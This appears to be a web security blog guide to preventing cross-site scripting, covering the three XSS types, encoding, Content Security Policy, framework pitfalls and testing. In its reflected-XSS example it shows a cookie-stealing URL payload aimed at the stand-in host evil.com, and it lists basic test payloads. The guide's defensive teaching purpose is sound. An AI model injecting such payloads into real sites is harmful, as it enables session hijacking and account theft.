Cross-Site Scripting (XSS) Prevention: Protecting Your Web Application
Cross-Site Scripting (XSS) Prevention: Protecting Your Web Application
XSS is one of the most common web vulnerabilities. Learn the three types of XSS attacks, understand how they work, and implement bulletproof prevention using CSP, encoding, and sanitization.
What Is Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS) is a vulnerability that allows an attacker to inject malicious client-side scripts (typically JavaScript) into web pages viewed by other users. When a victim visits the compromised page, the malicious script executes in their browser with the same privileges as the legitimate site.
XSS is ranked #3 in the OWASP Top 10 (under the Injection category) and is consistently among the most reported vulnerabilities in bug bounty programs. Despite being well-understood for over two decades, XSS remains prevalent because web applications continuously grow in complexity, and every output point is a potential injection vector.
The fundamental cause of XSS: The application includes untrusted data in its HTML output without proper validation, encoding, or escaping. The browser cannot distinguish between the page's legitimate scripts and the attacker's injected script.
Why "Cross-Site" Scripting? The name comes from the original attack scenario: an attacker on one website (evil.com) injects a script that executes in the context of another website (trusted-bank.com). The script crosses the boundary between sites, violating the browser's Same-Origin Policy — the fundamental security mechanism that isolates websites from each other.
Three Types of XSS
1. Reflected XSS (Non-Persistent) The malicious script is part of the current HTTP request — typically embedded in a URL parameter — and is immediately reflected back in the response.
Attack flow:
- The attacker crafts a URL with a malicious script in a parameter:
https://example.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> - The attacker tricks the victim into clicking the link (via phishing email, social media, etc.)
- The server includes the search query in the page without encoding: "Search results for: [malicious script]"
- The victim's browser executes the script, sending their cookies to the attacker
Example: A search page displays "You searched for: query" where {'query'} is the raw URL parameter. If the application doesn't encode the output, the browser interprets any HTML/JavaScript in the parameter.
2. Stored XSS (Persistent) The malicious script is permanently stored on the target server — in a database, message forum, comment field, user profile, or any other persistent storage. Every user who views the stored content triggers the attack.
Attack flow:
- The attacker posts a comment containing
<script>malicious code</script>on a blog or forum - The server stores the comment in the database
- When any user views the page, the server renders the comment including the script
- The script executes in every visitor's browser
This is the most dangerous type of XSS because it doesn't require the victim to click a malicious link — simply visiting the page triggers the attack. A single stored XSS vulnerability on a popular page can compromise thousands of users.
3. DOM-Based XSS The vulnerability is entirely in the client-side code. The server response is clean, but client-side JavaScript takes untrusted data (from the URL, cookies, or other sources) and inserts it into the DOM unsafely.
Attack flow:
- The page's JavaScript reads
window.location.hashand usesinnerHTMLto display it - The attacker crafts a URL:
https://example.com/page#<img src=x onerror=alert(document.cookie)> - The JavaScript inserts the hash value directly into the DOM, executing the injected code
- The server never sees the payload (it's in the URL fragment, which isn't sent to the server)
DOM XSS is increasingly common in modern single-page applications (SPAs) that perform extensive client-side rendering.
The Impact of XSS Attacks
XSS attacks can cause severe damage because the injected script runs with the full privileges of the vulnerable website in the victim's browser:
Session hijacking. The attacker steals the user's session cookie and uses it to impersonate the user. They gain full access to the user's account without needing their password. document.cookie is the classic target (unless cookies are HttpOnly).
Account takeover. Beyond stealing cookies, the script can change the user's email address and password through the application's settings API — locking the real user out permanently.
Credential theft. The script can inject a fake login form over the real page, capturing the user's credentials when they type them in. This is especially effective because the user is on the legitimate domain they trust.
Malware distribution. The script can redirect users to malware downloads or exploit browser vulnerabilities.
Defacement. The script can modify the page content — changing prices on an e-commerce site, altering news articles, or displaying false information.
Keylogging. The script can install a keyboard event listener that captures everything the user types on the page and sends it to the attacker.
Cryptocurrency mining. The script can use the victim's CPU to mine cryptocurrency in the background.
Output Encoding: The Primary Defense
Output encoding (also called output escaping) is the primary defense against XSS. The principle is simple: when rendering user-controlled data in HTML, encode special characters so they display as text instead of being interpreted as code.
HTML entity encoding converts dangerous characters:
<becomes<>becomes>"becomes"'becomes'&becomes&
After encoding, the attacker's payload <script>alert('xss')</script> is rendered as the visible text <script>alert('xss')</script> — the browser displays it as text instead of executing it.
Context-specific encoding is critical. The encoding you need depends on where the untrusted data is being placed:
HTML body context:
<!-- Encode HTML entities -->
<p>Welcome, <script>alert(1)</script></p>
HTML attribute context:
<!-- Encode HTML entities AND quotes -->
<input value=""onfocus="alert(1)">
JavaScript string context:
// Encode for JavaScript string (Unicode escaping)
var name = "\u003cscript\u003ealert(1)\u003c\u002fscript\u003e";
URL parameter context:
<!-- URL-encode the value -->
<a href="/search?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E">Search</a>
CSS context:
/* CSS-encode (very rare, but dangerous if mishandled) */
.element { background: url(\3C script\3E alert\28 1\29\3C \2F script\3E); }
The rule: Always encode for the specific output context. HTML encoding in a JavaScript context (or vice versa) may not prevent the attack.
Content Security Policy (CSP)
Content Security Policy (CSP) is an HTTP response header that tells the browser which sources of content are allowed on the page. A strong CSP is the most effective defense-in-depth mechanism against XSS.
Basic CSP that prevents most XSS:
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; object-src 'none'; base-uri 'self'
What this policy does:
default-src 'self'— only load resources from the same origin by defaultscript-src 'self'— only execute scripts from the same origin (no inline scripts, no eval)style-src 'self' 'unsafe-inline'— styles from same origin and inline styles (inline styles are hard to avoid)img-src 'self' data:— images from same origin and data URIsobject-src 'none'— blocks plugins (Flash, Java applets)base-uri 'self'— prevents<base>tag attacks
Why CSP stops XSS:
script-src 'self'without'unsafe-inline'blocks ALL inline scripts — including any injected by an attacker- Even if an attacker successfully injects
<script>alert(1)</script>into the HTML, the browser refuses to execute it because the CSP doesn't allow inline scripts eval()and similar dynamic code execution are also blocked
Strict CSP with nonces (recommended):
Content-Security-Policy: script-src 'nonce-{random}' 'strict-dynamic'; object-src 'none'; base-uri 'self'
A nonce is a random value generated per request. Only scripts with the matching nonce attribute execute:
<script nonce="abc123">
// This executes because the nonce matches
</script>
<script>
// This is BLOCKED — no nonce
alert('xss');
</script>
CSP best practices:
- Start with
Content-Security-Policy-Report-Onlyto test without breaking functionality - Use the
report-uriorreport-todirective to collect violation reports - Never use
'unsafe-inline'forscript-src(it defeats the purpose) - Avoid
'unsafe-eval'— it allowseval(),setTimeout('string'), and similar dangerous functions - Use nonces or hashes instead of
'unsafe-inline'when inline scripts are necessary
Framework Built-in Protections
Modern frontend frameworks provide automatic XSS protection — but with important caveats:
React: React automatically escapes all values embedded in JSX before rendering. This is safe:
// SAFE — React escapes the value
<p>{userInput}</p>
This is DANGEROUS:
// VULNERABLE — bypasses React's escaping
<p dangerouslySetInnerHTML={{ __html: userInput }} />
The dangerouslySetInnerHTML prop is named that way for a reason — it inserts raw HTML without escaping. Only use it with trusted, sanitized content.
Angular: Angular treats all values as untrusted by default and automatically sanitizes them:
// SAFE — Angular sanitizes the value
<p>{{ userInput }}</p>
// SAFE — Angular sanitizes href values
<a [href]="userUrl">Link</a>
Dangerous bypass:
// VULNERABLE — bypasses Angular's sanitizer
this.domSanitizer.bypassSecurityTrustHtml(userInput);
Vue.js: Vue uses text interpolation by default, which escapes HTML:
<!-- SAFE — Vue escapes the value -->
<p>{{ userInput }}</p>
<!-- VULNERABLE — inserts raw HTML -->
<p v-html="userInput"></p>
Key framework XSS rules:
- Never use the "escape hatch" methods (
dangerouslySetInnerHTML,bypassSecurityTrust*,v-html) with user-controlled data - If you must render user HTML, sanitize it first with a library like DOMPurify
- Server-side rendering (SSR) introduces additional contexts where auto-escaping may not apply — audit carefully
- Attributes like
href,src, and event handlers (onclick,onerror) need special attention even with framework escaping
DOM XSS Prevention
DOM-based XSS requires specific prevention techniques because the vulnerability is in client-side JavaScript:
Dangerous DOM sinks (avoid using with untrusted data):
element.innerHTML = untrustedData— parses HTML, executes scriptselement.outerHTML = untrustedData— same risk as innerHTMLdocument.write(untrustedData)— parses HTMLelement.setAttribute('onclick', untrustedData)— creates event handlereval(untrustedData)— executes as JavaScriptsetTimeout(untrustedData, ...)— executes string as JavaScriptelement.href = untrustedData— can executejavascript:URLselement.src = untrustedData— can load attacker-controlled resources
Safe DOM alternatives:
// DANGEROUS
element.innerHTML = userInput;
// SAFE — sets text content, doesn't parse HTML
element.textContent = userInput;
// SAFE — creates text node
element.appendChild(document.createTextNode(userInput));
// DANGEROUS
element.setAttribute('onclick', userInput);
// SAFE — use addEventListener instead (the value is data, not code)
element.addEventListener('click', () => handleClick(userInput));
URL sanitization:
When setting href or src attributes with user data, validate the URL scheme:
function sanitizeUrl(url) {
const parsed = new URL(url, window.location.origin);
if (!['http:', 'https:', 'mailto:'].includes(parsed.protocol)) {
return '#'; // Block javascript:, data:, vbscript:, etc.
}
return url;
}
DOMPurify for rich content: When you genuinely need to render user-provided HTML (rich text editors, markdown, etc.), use DOMPurify:
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userHtml);
DOMPurify removes all dangerous elements and attributes while preserving safe HTML formatting.
Testing for XSS Vulnerabilities
Manual testing payloads: Test every input field, URL parameter, and header with these basic payloads:
<script>alert(1)</script>— basic script injection<img src=x onerror=alert(1)>— event handler injection (bypasses some filters)"><script>alert(1)</script>— attribute breakoutjavascript:alert(1)— URL scheme injection (in href/src fields){{7*7}}— template injection test (if output shows 49, template injection is present)
Automated tools:
- OWASP ZAP — free, open-source, comprehensive web security scanner with XSS detection
- Burp Suite — professional-grade scanner with advanced XSS detection
- Semgrep — static analysis rules that catch unsafe DOM operations and missing encoding
- ESLint security plugins — statically detect dangerous patterns like
dangerouslySetInnerHTML
XSS prevention checklist:
- [ ] All user-controlled output is context-encoded (HTML, JavaScript, URL, CSS)
- [ ] Content Security Policy is configured and blocks inline scripts
- [ ] Framework auto-escaping is used consistently (no raw HTML rendering of user data)
- [ ]
innerHTML,document.write, andevalare not used with untrusted data - [ ] DOMPurify sanitizes any user HTML that must be rendered
- [ ]
hrefandsrcattributes are validated for safe URL schemes - [ ] HttpOnly and Secure flags are set on session cookies (mitigates cookie theft)
- [ ] Server-side rendered pages apply output encoding before sending to the client
Secure your web application's user accounts with strong, unique passwords — generate them with our password generator.
XSS has persisted for over two decades because web applications continuously grow in complexity, and every output point is a potential injection vector. The defense is a layered approach: context-specific output encoding as the primary control, Content Security Policy as a second line of defense, framework auto-escaping as a daily practice, and safe DOM APIs to prevent client-side injection. Apply all four layers, test regularly, and XSS becomes a vulnerability class your application has systematically eliminated.